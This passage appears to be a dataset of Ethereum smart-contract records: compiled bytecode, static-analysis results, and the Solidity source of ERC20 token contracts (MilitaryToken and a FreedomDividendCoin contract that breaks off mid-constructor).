5092915050565b6000610ca9838311156118fa565b818303905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3557600080fd5b81600981905550806008819055505050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ddd5780601f10610db257610100808354040283529160200191610ddd565b820191906000526020600020905b815481529060010190602001808311610dc057829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60075481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900460ff1681565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610f0157600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816007600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561104b5780601f106110205761010080835404028352916020019161104b565b820191906000526020600020905b81548152906001019060200180831161102e57829003601f168201915b505050505081565b60095481565b600a6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110cc57600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806007600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561123257600080fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112bd57600080fd5b81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816007600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114bd5780601f10611492576101008083540402835291602001916114bd565b820191906000526020600020905b8154815290600101906020018083116114a057829003601f168201915b505050505081565b6114d0338383611909565b5050565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000808490506115048585610de5565b15611669578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156115fe5780820151818401526020810190506115e3565b50505050905090810190601f16801561162b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561164c57600080fd5b6102c65a03f1151561165d57600080fd5b5050506001915061166a565b5b509392505050565b600b602052816000526040600020602052806000526040600020600091509150505481565b60095481023073ffffffffffffffffffffffffffffffffffffffff1631101515156116c157600080fd5b6116cc333083611909565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60095483029081150290604051600060405180830381858888f19350505050151561171057600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176e57600080fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189357600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614156118b757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80151561190657600080fd5b50565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561192f57600080fd5b80600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561197d57600080fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515611a0c57600080fd5b80600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058200db0d49ce922c88a395512adde8ef2733e3d80b48baca389b47a66f747d49cea0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
9,593
0xdc2a1aD032a4507C44696b3DC4aD3a10885f66a9
/* Implements MilitaryToken. Copyright 2017, 2018 by MilitaryToken, LLC. */ pragma solidity 0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev From https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20Basic.sol * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error * @dev From https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. * @dev From https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BasicToken.sol */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev From https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20.sol * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev From https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). * @dev From https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BurnableToken.sol */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract MilitaryToken is BurnableToken, StandardToken { string public name = "MilitaryToken"; string public symbol = "MILs"; uint public decimals = 18; uint public INITIAL_SUPPLY = 400000000 * 1 ether; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea5780632ff2e9dc1461026f578063313ce5671461029a57806342966c68146102c557806366188463146102f257806370a082311461035757806395d89b41146103ae578063a9059cbb1461043e578063d73dd623146104a3578063dd62ed3e14610508575b600080fd5b3480156100d657600080fd5b506100df61057f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d461070f565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610ad3565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102af610ad9565b6040518082815260200191505060405180910390f35b3480156102d157600080fd5b506102f060048036038101908080359060200190929190505050610adf565b005b3480156102fe57600080fd5b5061033d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aec565b604051808215151515815260200191505060405180910390f35b34801561036357600080fd5b50610398600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d7d565b6040518082815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3610dc5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044a57600080fd5b50610489600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e63565b604051808215151515815260200191505060405180910390f35b3480156104af57600080fd5b506104ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611082565b604051808215151515815260200191505060405180910390f35b34801561051457600080fd5b50610569600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106155780601f106105ea57610100808354040283529160200191610615565b820191906000526020600020905b8154815290600101906020018083116105f857829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561082e57600080fd5b61087f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610912826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b60055481565b610ae9338261133a565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bfd576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c91565b610c10838261130590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b820191906000526020600020905b815481529060010190602001808311610e3e57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ea057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610eed57600080fd5b610f3e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fd1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061111382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561131357fe5b818303905092915050565b6000818301905082811015151561133157fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561138757600080fd5b6113d8816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142f8160015461130590919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a7230582028a400e3a8bdc1ee10e92b153b5cc2adad04d77700e815e74cfd87cdb60bb48f0029
{"success": true, "error": null, "results": {}}
9,594
0x311c6769461e1d2173481f8d789af00b39df6d75
pragma solidity 0.5.16; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title FreedomDividendCoin ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract FreedomDividendCoin is IERC20,ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name="Freedom Dividend Coin"; string private _symbol="FDC"; uint8 private _decimals=2; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } address private DividendDistributor = 0xa100E22A959D869137827D963cED87d4B545ce45; uint256 private globalDistributionTimestamp; uint256 private balanceOfDividendDistributorAtDistributionTimestamp; struct DividendAddresses { address individualAddress; uint256 lastDistributionTimestamp; } mapping(address => DividendAddresses) private FreedomDividendAddresses; constructor () ERC20Detailed(_name, _symbol, _decimals) 